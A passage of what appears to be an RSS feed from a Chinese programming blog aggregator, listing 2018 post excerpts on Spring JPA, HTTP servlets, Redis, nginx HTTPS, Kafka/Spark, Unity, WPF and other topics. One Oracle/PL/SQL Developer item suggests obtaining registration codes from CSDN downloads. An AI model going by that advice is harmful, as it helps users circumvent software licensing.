      <description>1、如何实现排序&#xA;a 命名查询：&#xA;public interface ParamsRepository extends JpaRepository&amp;lt;CwParams, String&amp;gt;,JpaSpecificationExecutor&amp;lt;CwParams&amp;gt; { List&amp;lt;CwParams&amp;gt; findAllByOrderByCodeDesc();//根据code倒序查询 } b 基于Sort:&#xA;public ResponseResult listRecord(RecordCondition condition) { LocalResponseResult responseResult = super.buildResponseResult(condition); Pageable pageable = new PageRequest(condition.getPage() - 1, condition.getSize(),new Sort(Sort.Direction .DESC,&#34;id&#34;));//创建分页条件和排序条件 Specification&amp;lt;CwStopRecord&amp;gt; specification = (Specification&amp;lt;CwStopRecord&amp;gt;) (root, query, cb) -&amp;gt; { List&amp;lt;Predicate&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); //条件全为空则执行无条件查询 if (StringUtils.isNotBlank(condition.getType())) { Predicate p1 = cb.equal(root.get(&#34;type&#34;), condition.getType()); list.add(p1); } if (StringUtils.isNotBlank(condition.getCarNo())) { Predicate p2 = cb.like(root.get(&#34;carNo&#34;), &#34;%&#34; + condition.getCarNo() + &#34;</description>
    </item>
    <item>
      <title>Springboot启动application报错：Field userMapper in xxx required a bean of type xx that could not be found</title>
      <link>https://bchobby.github.io/posts/f3b0e1cdd96542deec18dc79dac4d999/</link>
      <pubDate>Tue, 24 Jul 2018 17:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3b0e1cdd96542deec18dc79dac4d999/</guid>
      <description>2018-07-24 15:38:07.647 INFO 20368 --- [ main] c.e.playspring.PlayspringApplication : Starting PlayspringApplication on LAPTOP-P96OGO0J with PID 20368 (C:\project\playspring\target\classes started by DK in C:\project\playspring) 2018-07-24 15:38:07.651 INFO 20368 --- [ main] c.e.playspring.PlayspringApplication : No active profile set, falling back to default profiles: default 2018-07-24 15:38:07.729 INFO 20368 --- [ main] ConfigServletWebServerApplicationContext : Refreshing org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext@13e39c73: startup date [Tue Jul 24 15:38:07 CST 2018]; root of context hierarchy 2018-07-24 15:38:08.376 WARN 20368 --- [ main] o.</description>
    </item>
    <item>
      <title>HTTP协议的请求对象和响应对象</title>
      <link>https://bchobby.github.io/posts/610902f149042be52884e30cb60427c2/</link>
      <pubDate>Tue, 24 Jul 2018 16:08:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/610902f149042be52884e30cb60427c2/</guid>
      <description>HTTP协议：&#xA;什么是HTTP，Http是超文本传输协议，从浏览器到服务器称为请求，从服务器回到浏览器称之为响应&#xA;请求对象：（HttpServletRequest）：&#xA;请求对象分为请求头，请求行以及请求实体下面分别来讲一下：&#xA;请求行包括：传输方式（get或post） 请求的地址（url） 协议的版本&#xA;请求头中只有：只有键值对形式存在的参数&#xA;请求实体：post传参方式，需要注意的是，当传输方式为get时，表单中的值是在地址的问号后面，&#xA;当传输方式为post时值是在请求实体中&#xA;HttpServletRequest的本质上就是HTTP协议的请求所封装的&#xA;请求对象中的方法：&#xA;1》获取请求行中的内容&#xA;Request.getMethod() 获取请求方式&#xA;Request.getRequestURI() 获取地址栏中？之前端口之后&#xA;Request.getRequestURL() 获取？之前所有，返回StringBuffer&#xA;Request.getScheme() 获取协议&#xA;Request.getContextPath() 获取根目录&#xA;Request.getQueryString() 获取？之后&#xA;2》获取请求头中的内容：&#xA;Request.getHeader(键) 键是不区分大小写的&#xA;3》获取网络信息：&#xA;request.getRemoteAddr() 获取客户端ip地址&#xA;Request.getRemotePort() 获取客户端的端口&#xA;Request.getLocalAddr() 获取服务器IP地址&#xA;Request.getLocalPort() 获取服务器端口号&#xA;4》获取表单参数：&#xA;首先获取单键单值：&#xA;Request.getParameter(键) 返回String,需要注意的是如果没有键返回的是null,&#xA;有键而没有值返回空字符串；&#xA;获取同键不同值（主要针对复选框）：&#xA;request.getParameterValues(键) 返回一个String[]&#xA;获取所有键的集合：&#xA;Request.getParameterNames() 返回的是Enumeration,也就是一个容器&#xA;While(enum对象.hasMoreElements()){&#xA;enum对象.nextElement();&#xA;}&#xA;如何解决请求中的乱码问题:&#xA;request.setCharacterEncoding(当前项目的编码集)&#xA;注意:&#xA;本身对请求实体进行编码，针对于post编码。如果需要对get同时一起编码，需要在配置端口号的地方添加useBodyEncodingForURI=&#34;true&#34;。&#xA;响应对象：（HttpServletResponse）​​​​​​​&#xA;响应行：包含协议版本，状态码，还有状态描述&#xA;响应头：也是键值对的形式存在的&#xA;响应实体：字符串或者是流信息&#xA;HttpServletResponse响应对象：&#xA;设置响应头：&#xA;response.setHeader(键，值) 忽略大小写&#xA;设置刷新，refresh&#xA;可以单独写秒数，代表的是多少秒后刷新本页面&#xA;也可以写秒数；url=&#34;地址&#34; 代表的是多少秒后刷新并跳转到指定地址&#xA;设置响应的编码集:&#xA;Response.setHeader(&#34;content-type&#34;,&#34;text/html;charset=服务器编码集&#34;）</description>
    </item>
    <item>
      <title>Java 文件上传重要代码</title>
      <link>https://bchobby.github.io/posts/bb4118bfd738ffecdd96be1c0410ca98/</link>
      <pubDate>Tue, 24 Jul 2018 10:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb4118bfd738ffecdd96be1c0410ca98/</guid>
      <description>1、上传实体工具类：&#xA;public class FileUpload { private String fileName;&#x9;//文件名 private String filePath;&#x9;//文件路径 private String [] allowType = {&#34;jpg&#34;, &#34;jpeg&#34;, &#34;bmp&#34; , &#34;png&#34;, &#34;gif&#34;, &#34;zip&#34;, &#34;xlsx&#34;, &#34;apk&#34;,&#34;bin&#34;};&#x9;//允许的文件类型 private Integer maxSize = 2 * 1024 * 1024;&#x9;//文件最大值,默认4M private Integer minSize = 1;&#x9;//文件最小值,默认1B /** * 默认构造方法 */ public FileUpload() {} /** * 设置参数 * @param fileName 文件名 * @param filePath 文件路径 * @param allowType 允许的文件类型 * @param maxSize 文件最大值 * @param minSize 文件最小值 */ public FileUpload(String fileName, String filePath, String[] allowType, Integer maxSize, Integer minSize) { if(fileName !</description>
    </item>
    <item>
      <title>相对路径和绝对路径的区别</title>
      <link>https://bchobby.github.io/posts/a3dea056ea14769acbd614dd4e27f745/</link>
      <pubDate>Tue, 24 Jul 2018 10:32:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3dea056ea14769acbd614dd4e27f745/</guid>
      <description>1、相对路径：就是相对于自己的目标文件的位置。（指以当前文件所处目录而言文件的位置）————以引用文件之间网页所在位置为参考基础，而建立出的目录路径。因此当保存于不同目录的网页引用同一个文件时，所使用的路径将不相同，故称之为相对。&#xA;2、绝对路径：是指文件在硬盘上真正存在的路径。（指对站点的根目录而言某文件的位置）————以web站点为根目录为参考基础的目录路径，之所以成为绝对，意指当所有网页引用同一文件时，所引用的路径都是一样的。&#xA;3、相对路径使用“/”字符作为目录的分隔字符，而绝对路径可以使用“\”或“/”字符作为目录的分隔字符&#xA;------------------------------------------------------------#下面以网页制作为例-#--------------------------------------------------------&#xA;假设你的网页在如下位置：D:\WORK\web\111.html，而图片在D:\WORK\web\images\111.JPG 有以下两种情况：&#xA;一，你在网页中直接以D:\WORK\web\images\111.JPG这个路径表示你的图片。&amp;lt;这个就是图片的绝对路径&amp;gt; 二，你在网页中以: images\111.JPG来表示你的这个图片。&amp;lt;这个是图片的相对路径&amp;gt;&#xA;---------------------------------------------------------------------------------------------------------------------------------------------------&#xA;4、在把绝对路径转化为相对路径的时候，两个文件绝对路径中相同的部分都可以忽略，不做考虑，只要考虑他们不同之处就可以了。&#xA;5、. 代表目前所在的目录 ..代表上一层目录 /代表根目录&#xA;参考网址：http://blog.csdn.net/huazhangena/article/details/7587720</description>
    </item>
    <item>
      <title>redis注册成windows服务</title>
      <link>https://bchobby.github.io/posts/889b9b8041459a91b7166456a2e7c2a9/</link>
      <pubDate>Tue, 24 Jul 2018 10:24:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/889b9b8041459a91b7166456a2e7c2a9/</guid>
      <description>1、下载redis压缩包并解压&#xA;2、修改配置文件——redis.windows.conf&#xA;3、打开cmd，切换到redis解压路径&#xA;输入redis-server --service-install redis.windows.conf --loglevel verbose命令注册服务：&#xA;4、输入redis-server --service-start开启服务：&#xA;5、打开window管理可以看到：&#xA;6、测试&#34;hello word&#34;，在命令窗口输入redis-cli.exe，打开服务端：</description>
    </item>
    <item>
      <title>三点求圆心以及半径</title>
      <link>https://bchobby.github.io/posts/e86e73c0f78e753730e75bb021a6d564/</link>
      <pubDate>Mon, 23 Jul 2018 21:11:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e86e73c0f78e753730e75bb021a6d564/</guid>
      <description> 三点求圆心以及半径模板&#xA;double X,Y,R; struct Point{ double x,y; }pp[maxn]; double dis(Point x,Point y) { return sqrt((x.x-y.x)*(x.x-y.x)+(x.y-y.y)*(x.y-y.y)); } void solve(Point a,Point b,Point c)//三点共圆圆心公式 { X=( (a.x*a.x-b.x*b.x+a.y*a.y-b.y*b.y)*(a.y-c.y)-(a.x*a.x-c.x*c.x+a.y*a.y-c.y*c.y)*(a.y-b.y) ) / (2*(a.y-c.y)*(a.x-b.x)-2*(a.y-b.y)*(a.x-c.x)); Y=( (a.x*a.x-b.x*b.x+a.y*a.y-b.y*b.y)*(a.x-c.x)-(a.x*a.x-c.x*c.x+a.y*a.y-c.y*c.y)*(a.x-b.x) ) / (2*(a.y-b.y)*(a.x-c.x)-2*(a.y-c.y)*(a.x-b.x)); R=sqrt((X-a.x)*(X-a.x)+(Y-a.y)*(Y-a.y)); //return (Point){x,y}; } </description>
    </item>
    <item>
      <title>JOCL 开发</title>
      <link>https://bchobby.github.io/posts/1cb72b391ec8046213f708fe36be0515/</link>
      <pubDate>Mon, 23 Jul 2018 13:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cb72b391ec8046213f708fe36be0515/</guid>
      <description>JOCL 介绍 jocl实际上就是对opencl用java语言进行了封装，许多代码都和opencl一样，这一点使得用过opencl的可以非常快的上手，可以到github查看源码&#xA;由于java没有指针，所以jocl不得不用Pointer来获取地址，这样就感觉jocl其实看起来比opencl还要复杂&#xA;JOCL 开发环境搭建 参考别人的文章https://my.oschina.net/qutter... 完成jocl开发环境搭建&#xA;更新显卡驱动安装opencl驱动，应该最新版本的显卡驱动都是支持opencl的，可以用 GPU Caps Viewer 来测试，如果没有，AMD的话可以到https://support.amd.com/en-us... 下载驱动 下载opencl sdk&#xA;Inter https://software.intel.com/en... AMD https://developer.amd.com/too... Nvidia https://developer.nvidia.com/... 下载安装jdk http://www.oracle.com/technet...，不要忘了设置环境变量下载安装eclipse http://www.eclipse.org/downlo... 下载jar包 http://www.jocl.org/downloads...，需要提取里面的相应jar文件放到项目Referenced Libraries里面，把dll文件放到jdk安装路径/bin下现在可以直接到官网 http://www.jocl.org/samples/s... 找sample来运行了 封装JOCL 原始的jocl就是对opencl的C语言的重写，是比较麻烦的，下面给出封装代码&#xA;PackJocl.java&#xA;package jocl; import static org.jocl.CL.CL_CONTEXT_PLATFORM; import static org.jocl.CL.CL_DEVICE_TYPE_GPU; import static org.jocl.CL.CL_MEM_COPY_HOST_PTR; import static org.jocl.CL.CL_MEM_READ_ONLY; import static org.jocl.CL.CL_TRUE; import static org.jocl.CL.clBuildProgram; import static org.jocl.CL.clCreateBuffer; import static org.jocl.CL.clCreateCommandQueue; import static org.jocl.CL.clCreateContext; import static org.jocl.CL.clCreateKernel; import static org.jocl.CL.clCreateProgramWithSource; import static org.</description>
    </item>
    <item>
      <title>高光谱数据集</title>
      <link>https://bchobby.github.io/posts/dd54d8c9e9c055afae1803569c32b3f5/</link>
      <pubDate>Sun, 22 Jul 2018 14:20:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd54d8c9e9c055afae1803569c32b3f5/</guid>
      <description>该网址包含 Indian_pines, Salinas, Pavia Centre and University, Cuprite, Kennedy Space Center, Botswana等常用高光谱数据及其标签，数据格式为mat&#xA;网址链接：Hyperspectral Remote Sensing Scenes&#xA;数据目录&#xA;————————————————&#xA;版权声明：本文为CSDN博主「wild kindom」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/weixin_39393430/article/details/88640908&#xA;摘自《基于深度卷积神经网络的高光谱图像分类》徐敏&#xA;1.Indian Pines 数据集&#xA;Indian Pines 是最早的用于高光谱图像分类的测试数据，由机载可视红外成像光谱仪（AVIRIS）于 1992 年对美国印第安纳州一块印度松树进行成像，然后截取尺寸为 145×145 的大小进行标注作为高光谱图像分类测试用途。&#xA;AVIRIS 成像光谱仪成像波长范围为 0.4-2.5μm，是在连续的 220 个波段对地物连续成像的，但是由于第 104-108，第 150-163 和第 220 个波段不能被水反射，因此，我们一般使用的是剔除了这 20 个波段后剩下的 200 个波段作为研究的对象。&#xA;该光谱成像仪所成的图像的空间分辨率约为 20m，因此，其较容易产生混合像元，给分类带来难度。&#xA;图 2.1(a)是抽取其中 3 个波段的二维矩阵叠加作为 RGB 图像三个通道所成的伪彩色图像。该数据总共有 21025个像素，但是其中只有 10249 个像素是地物像素，其余 10776 个像素均为背景像素，在实际分类中，这些像素是需要剔除的，由于截取的这块区域均是庄稼，总共有 16类，因此不同的地物具有较为相似的光谱曲线，而且这 16 类中，样本的分布极不均匀&#xA;145*145=21025=10776（背景，黑）+10249（多种地物，彩） 10249=各类地物占得像素个数。&#xA;2.Pavia University 数据集</description>
    </item>
    <item>
      <title>oracle11g的安装，及plsql developer11的安装、汉化和注册</title>
      <link>https://bchobby.github.io/posts/3fa017ca23ebff44e32b75d7fa5f34da/</link>
      <pubDate>Sun, 22 Jul 2018 09:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fa017ca23ebff44e32b75d7fa5f34da/</guid>
      <description>1.在oracle官网和plsql developer官网下载安装即可，不用配置其他的什么。&#xA;2.汉化和注册就是可以在csdn下载汉化包和注册码，安装和注册即可。&#xA;3.我的下载里面有这些资源，可以和我联系或者自己去下载。</description>
    </item>
    <item>
      <title>变量----命名规范</title>
      <link>https://bchobby.github.io/posts/5c92d68d5b1ca5b139a941e4db5b8449/</link>
      <pubDate>Sat, 21 Jul 2018 14:11:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c92d68d5b1ca5b139a941e4db5b8449/</guid>
      <description>变量名的注意问题----变量名的命名规范,要遵循驼峰命名法&#xA;1.变量的名字要有意义&#xA;2.变量名有一定的规范:一般以字母,$符号,下划线开头,中间或者后面可以有$符号,字母,数字&#xA;3.变量名一般都是小写的&#xA;4.变量名如果是多个单词,第一个单词的首字母是小写的,后面的所有单词的首字母都是大写的,这种命名方式成为:驼峰命名法&#xA;var bigNumber = 10;&#xA;(代码下方有红线,可能是出错了,但是不一定就是有错)&#xA;5.不能使用关键字(系统自带的一些单词不能使用)&#xA;6.不会单词用拼音,拼音也要用驼峰命名法&#xA;7.&#xA;游戏开发: C C++&#xA;做网站(后台):java PHP donet&#xA;java--技术或者语言&#xA;php--技术or语言&#xA;ios--技术&#xA;变量的初始化和命名&#xA;怎么知道我存入了这个变量??&#xA;console.log---把内容输出在浏览器的控制台中&#xA;webStorm中打开的页面中,网页地址不是相对或者绝对路径 在一个小型服务器中运行的&#xA;案例--变量的交换&#xA;将两个变量交换&#xA;变量的贾环的第一个思路:使用第三方的变量进行交换&#xA;第二种方式交换--一般适用于数字的交换&#xA;使代码变得更规范更漂亮 [有空隙]------Ctrl+Alt+L-----&amp;gt;格式化代码的(设置代码有很好的格式,代码如果是错的,这个快捷键就没有效果)&#xA;位运算&#xA;注释&#xA;1.解释代码的意思&#xA;2.注释不需要的代码&#xA;单行注释:一般用在一行代码上面 多行注释:一般用在函数或者一段代码上面注释后的代码不执行 第三种注释&#xA;原始数据类型&#xA;number,string,booleam(true(真1),false(假0)),null,undefined,object&#xA;什么时候是undefined变量声明了,没有赋值,结果也是undefined函数没有明确返回值,如果接收了,结果也是undefined如果一个变量的结果Undefined和一个数字进行计算,结果:NaN不是一个数字,也没有意义 获取这个变量的数据类型-----tyoeof 来获取变量的类型 类型:数字 字符串 null undefined 对象写法 yoeof 变量名&#xA;tyoeof (变量名)&#xA;当一个变量的复制为null的时候,他的变量类型就是一个对象 现在是Null&#xA;数据类型转换&#xA;num = 98.76;-----小数(其他的语言中,浮点型----单精度,双精度浮点);&#xA;数字类型有范围 结果为false&#xA;Infinity(无穷大)Infinity(负无穷大) 不是数字不要用==去判断&#xA;console.log(sum)的结果是NaN 136行结果为true&#xA;135行结果为NaN&#xA;总结数字类型;number类型无论是整数还是小数都是数字类型不要用小数去验证小数不要使用NaN判断是不是NaN,应该使用isNaN(值或者是变量)想要表示八进制:以0开头想要表示十六进制:0x开头 字符串类型 可以使用单引号,也可以使用双引号 想知道字符串的个数有多少个--也就是这个字符串的长度是多少</description>
    </item>
    <item>
      <title>Flume&#43;Kafka&#43;Spark Streaming实现大数据实时流式数据采集</title>
      <link>https://bchobby.github.io/posts/9da1dca59cbac89a3be179a4054327c5/</link>
      <pubDate>Sat, 21 Jul 2018 01:41:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9da1dca59cbac89a3be179a4054327c5/</guid>
      <description>大数据实时流式数据处理是大数据应用中最为常见的场景，与我们的生活也息息相关，以手机流量实时统计来说，它总是能够实时的统计出用户的使用的流量，在第一时间通知用户流量的使用情况，并且最为人性化的为用户提供各种优惠的方案，如果采用离线处理，那么等到用户流量超标了才通知用户，这样会使得用户体验满意度降低，这也是这几年大数据实时流处理的进步，淡然还有很多应用场景。因此Spark Streaming应用而生，不过对于实时我们应该准确理解，需要明白的一点是Spark Streaming不是真正的实时处理，更应该成为准实时，因为它有延迟，而真正的实时处理Storm更为适合，最为典型场景的是淘宝双十一大屏幕上盈利额度统计，在一般实时度要求不太严格的情况下，Spark Streaming+Flume+Kafka是大数据准实时数据采集的最为可靠并且也是最常用的方案，大数据实时流式数据采集的流程图如下所示：&#xA;在本篇文章中使用Flume+Kafka+Spark Streaming具体实现大数据实时流式数据采集的架构图如下：&#xA;转发请标明原文地址：原文地址&#xA;对Flume，Spark Streaming，Kafka的配置如有任何问题请参考笔者前面的文章：&#xA;Flume跨服务器采集数据&#xA;Spark Streaming集成Kafka的两种方式&#xA;Kafka的简单使用以及原理&#xA;开发环境、工具：&#xA;Linux操作系统，JDK环境，SCALA环境、CDH5版本软件SparkKafka_2.10-0.8.2.1Flume-1.5.0-cdh5.3.6-binZookeeper-3.4.5 下面我们就开始进行实战配置：&#xA;Flume文件配置&#xA;首先创建两个配置文件分别来启动两个Agent。&#xA;exec-memory-avro.conf:&#xA;# The configuration file needs to define the sources, # the channels and the sinks. # Sources, channels and sinks are defined per agent, # in this case called &#39;agent&#39; f1.sources = r1 f1.channels = c1 f1.sinks = k1 #define sources f1.sources.r1.type = exec f1.sources.r1.command =tail -f /opt/datas/flume.log #define channels f1.</description>
    </item>
    <item>
      <title>腾讯云搭建https域名</title>
      <link>https://bchobby.github.io/posts/5acc4324569797a19e4d11680ff2cd73/</link>
      <pubDate>Fri, 20 Jul 2018 17:06:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5acc4324569797a19e4d11680ff2cd73/</guid>
      <description>1、先去腾讯官网申请一个免费的证书，下载下来传到服务器端&#xA;2、找到nginx配置文件，加入一下配置下 【http内】&#xA;server { listen 443; # 默认端口443 server_name www.94phper.com; # 自己的域名 root /var/www/html/https; # 访问的路径 ssl on; # 开启ssl证书访问 ssl_certificate ../crt/1_94phper.com_bundle.crt; # ssl_certificate_key ../crt/2_94phper.com.key; ssl_session_timeout 10m; # session有效期10分钟 ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # 协议版本 按照这个协议配置 ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;#按照这个套件配置 ssl_prefer_server_ciphers on; location / { index index.html index.htm; # 默认访问文件 } } 3、重启nginx 如果提示这个：nginx: [emerg] unknown directive &#34;ssl&#34; in /usr/local/nginx/conf/nginx.conf:&#xA;到解压的nginx目录下 ./configure --with-http_ssl_module 当执行上面语句，出现./configure: error: SSL modules require the OpenSSL library.</description>
    </item>
    <item>
      <title>cat命令用法举例</title>
      <link>https://bchobby.github.io/posts/28bc0936b8284ed7f1897499f1173432/</link>
      <pubDate>Fri, 20 Jul 2018 15:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28bc0936b8284ed7f1897499f1173432/</guid>
      <description>cat命令的用途是连接文件或标准输入并打印。&#xA;1.命令格式：&#xA;cat [选项] [文件]...&#xA;2.命令功能：&#xA;cat主要有三大功能：&#xA;1.一次显示整个文件:cat filename --常用来显示文件内容&#xA;2.从键盘创建一个文件:cat &amp;gt; filename --创建新文件&#xA;3.将几个文件合并为一个文件:cat file1 file2 &amp;gt; file --将几个文件连接起来显示&#xA;3.常用命令参数：&#xA;-n, --number 对输出的所有行编号,由1开始对所有输出的行数编号&#xA;-s, --squeeze-blank 有连续两行以上的空白行，就代换为一行的空白行 -b, --number-nonblank 对非空输出行编号&#xA;-E, --show-ends 在每行结束处显示 $&#xA;4.使用实例：&#xA;1).把log2012.log的文件内容加上行号后输入 log2013.log 这个文件里&#xA;命令：cat -n log2012.log log2013.log 2).把log2012.log的文件内容加上行号后输入 log.log 这个文件里 命令：cat -n log2012.log &amp;gt; log.log&#xA;3).把log2012.log和log2013.log 的文件内容加上行号(空白行不加)之后将内容附加到log.log里&#xA;命令：cat -b log2012.log log2013.log log.log&#xA;4).使用here doc来生成文件&#xA;[hduser0401@dev-l002782 ~]$ cat &amp;gt; 20160913.log &amp;lt;&amp;lt;EOF&#xA;&amp;gt; Hello&#xA;&amp;gt; Welcome to Linux World</description>
    </item>
    <item>
      <title>提取PDF内容保存到Excel--Python3实现</title>
      <link>https://bchobby.github.io/posts/c375c5bf5380c2f231fa51c28535a756/</link>
      <pubDate>Fri, 20 Jul 2018 11:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c375c5bf5380c2f231fa51c28535a756/</guid>
      <description> PDF2Excel.exe程序使用说明&#xA;作者博客地址：http://www.yooongchun.cn/&#xA;功能介绍：程序从txt文件中读取内容然后抽取指定内容，要抽取的关键词需要写入Excel中，一个PDF样本如下示例： 保存到Excel的样本如下图示意：&#xA;最终提取的结果如下示意：&#xA;用法：&#xA;首先将PDF转换为TXT文件，转换方法如下：&#xA;使用迅捷转换器转换 将所有需要转换的TXT文件放在一个文件夹内&#xA;双击运行PDF2Excel.exe ，弹出如下界面：&#xA;- 依次选择TXT文件夹路径，Excel路径，保存路径 - 运行程序得到结果 完整项目及代码下载地址：https://github.com/yooongchun/04_PDF2Excel_key-value&#xA;获取帮助：&#xA;作者：yooongchunEmail：yooongchun@foxmail.com微信公众号：yooongchun小屋网站：www.yooongchun.comCSDN博客：https://blog.csdn.net/zyc121561 </description>
    </item>
    <item>
      <title>Unity资源管理原理 One</title>
      <link>https://bchobby.github.io/posts/d98d24ccefd36de872e2cc6a226ab772/</link>
      <pubDate>Fri, 20 Jul 2018 10:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d98d24ccefd36de872e2cc6a226ab772/</guid>
      <description>Assets和Objects&#xA;Assets是存储在硬盘上的文件，保存在Unity项目的Assets文件夹下，比如贴图，材质，模型，音频都是Assets。一些Assets中含有Unity的原生数据，例如材质，其他Asset则需要转换成原生格式例如FBX文件&#xA;Objects适用于描述某个资源的特定实例的序列化数据集合 可以是Unity使用的任意类型的资源 mesh script audiocilp Assets和Objects之间存在一对多的关系，也就是说，Asset文件内能包含一个&#xA;所有的UnityObject.Objects都可以引用其他的UnityEngine.Objects被引用的物体可以和引用物体位于同一个Asset文件内，也可以是由其他Asset文件导入的 例如材质文件通常有一个或多个纹理对象的引用 纹理通常来自纹理资源文件导入的&#xA;序列化时候这些文件有两部分数组组成文件GUID和LocalID 文件GUID存储了资源的Asset文件 LocalID是局部唯一的 在每个Asset文件中LocalID是唯一的标记Asset文件中的每个Object&#xA;打开材质本身可以看见LocalID mate可以看见guid&#xA;GUID提供文件路径的抽象表示，只是使用GUID关联具体的文件 由于一个Asset文件可以包含多个Object文件因此需要用LocalID明确标记每个不同的Object如果一个文件Asset文件关联的GUID丢失 name所有对该文件的Objects的引用将丢失 mate文件丢失，unity会重新生成&#xA;unity维护了一个具体文件路径与GUID的映射关系 当一个Assset被加载或导入，就会新增一个映射项，该映射项将文件路径与文件的GUID对应起来 如果meta文件丢失但其文件路径没变，unity保证生成的GUID不变 如果Asset文件路径变化meat文件没有一起移动，那么所有对该Asset引用会丢失&#xA;资源导入&#xA;非unity原生资源必须导入进unity才能使用，通过asset importer实现的在资源导入时自动调用 导入的结果是一个或多个Objects在unity中你可以看到一个父对象包含多个子对象 公用一个GUID ，内部文件通过LocalID区分&#xA;实例ID&#xA;尽管GUID和LocalID健壮耐用，但是GUID的比较耗时，因此Unity在内部维护一份缓存，这份缓存将GUID和LocalID独一无二的整数，这些整数被称为InstanceID，每当有新的Objects加入到缓存中，InstanceID以简单的单吊递增的方式进行复制，缓存维护了Instanceid guid localid (后两个在磁盘上)以及Object在内存中的实例(如果object已经加载到内存中)之间的映射 维护相互之间的引用关系，通过Instanceid快速找到对应的加载的object，如果object没有加载那么可以通过GUID和LocalID来找到Object源数据,然后加载相应的object&#xA;程序启动时，项目内置对象(比如场景中使用的对象)的数据 以及在Resources文件夹中的对象的数据将被初始化到InstanceID缓存中，当运行时有新的资源加载时 以及在Assetbundle中加载对象时，就会在缓存中添加Instanceid项，Instanceid只有被认为已经过时的情况下才会从缓存中删除 这种情况发生在一个AssetBundle被卸载时，除了对导致对应的Instanceid认为过时，GUID，LocalID之间的映射数据也会被从内存中删除，如果AssetBundle重新加载的话 那么从该AssetBundle加载每一个对象都会创建一个新的Instanceid&#xA;所有程序集在应用程序第一次启动时会被全部加载进来 可以使得不同的monobehaver可以引用共同的具体类&#xA;资源的生命周期 有两种加载Onject的方式：自动加载和显示的手动加载 当一个InstanceID被解引用其对应的Object当前没有加载到内存中，并且object的源数据能被定位到Object会自动加载 Object还能够在脚本中手动加载，AssetBundle.loadasset方式加载Object，如果一个文件GUID和LocalID都没有对应的InsanceID，或者InstanceID对应的Object没有被加载并且对应的GUID和LocalID是无效的Object就不会加载，但引用关系会保留出现missing&#xA;Object会在下列时刻被自动加载：&#xA;映射到该Object的Instance ID被反向引用（Dereference）Object当前没有被加载到内存中Object的源数据可以被定位 显式地加载Object。当Object被加载后，Unity会通过把每个引用的File GUID和Local ID转换到Instance ID来查找引用目标。如果满足了下面的两个条件，在Object的Instance ID首次被反向引用时它会被请求式（On-demand）的加载：&#xA;Instance ID引用了一个当前没有被加载的ObjectInstance ID在缓存中含有合法的File GUID和Local ID Object卸载的情况&#xA;1清理未被引用的asset是 未被引用的Object会被自动卸载 当场景切换或Resources.unloadunusedassets会触发,这一过程仅卸载那些没有被引用的Object —— 一个Object只会在没有任何Mono变量或其他的活动Object持有对它的引用的时候才能被卸载。另外，所有被标记为HideFlags.DontUnloadUnusedAsset和HideFlags.HideAndDontSave的对象都不会被卸载。&#xA;2来自Resources文件夹的Object在调用resource.unladasset函数时销毁但Instanceid会被保留，并且含有有效的FileID和LocalID条目，如果在Object销毁后有任何对对象的引用时，unity会重新通过instanceID找到GUID和LocalID 然后加载进来</description>
    </item>
    <item>
      <title>C#中WPF响应键盘事件</title>
      <link>https://bchobby.github.io/posts/3ce90663272d80e61d2677707466f6b0/</link>
      <pubDate>Thu, 19 Jul 2018 21:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ce90663272d80e61d2677707466f6b0/</guid>
      <description>WPF中的键盘事件用法如下：&#xA;在需要监听键盘事件的界面XAML中注册键盘按下的事件KeyDown=”LoginWindow_KeyDown”。 &amp;lt;Window x:Class=&#34;WpfAcef.MainWindow&#34;&#xA;xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;&#xA;xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;&#xA;xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34;&#xA;xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34;&#xA;Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&#xA;KeyDown=&#34;MainWindows_Keydown&#34;&amp;gt;&#xA;&amp;lt;Grid x:Name=&#34;ContentGrid&#34;&amp;gt;&#xA;&amp;lt;/Grid&amp;gt;&#xA;&amp;lt;/Window&amp;gt;&#xA;2、后台代码处理对不同键盘的响应：&#xA;private void MainWindows_Keydown(object sender, KeyEventArgs e)&#xA;{&#xA;//判断用户的按键是否为Alt+F4&#xA;if (e.KeyStates == Keyboard.GetKeyStates(Key.F4) &amp;amp;&amp;amp; Keyboard.Modifiers == ModifierKeys.Alt)&#xA;{&#xA;e.Handled = true;&#xA;MessageBox.Show(&#34;请输入解锁密码！&#34;);&#xA;}&#xA;}&#xA;需要注意的是参数时System.Windows.Input.KeyEventArgs 而不是System.Windows.Forms.KeyEventArgs！</description>
    </item>
    <item>
      <title>Scala中没有break和continue, 如何退出循环</title>
      <link>https://bchobby.github.io/posts/a8baea4b3f442edd0cf0dea61e2b5bb4/</link>
      <pubDate>Thu, 19 Jul 2018 20:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8baea4b3f442edd0cf0dea61e2b5bb4/</guid>
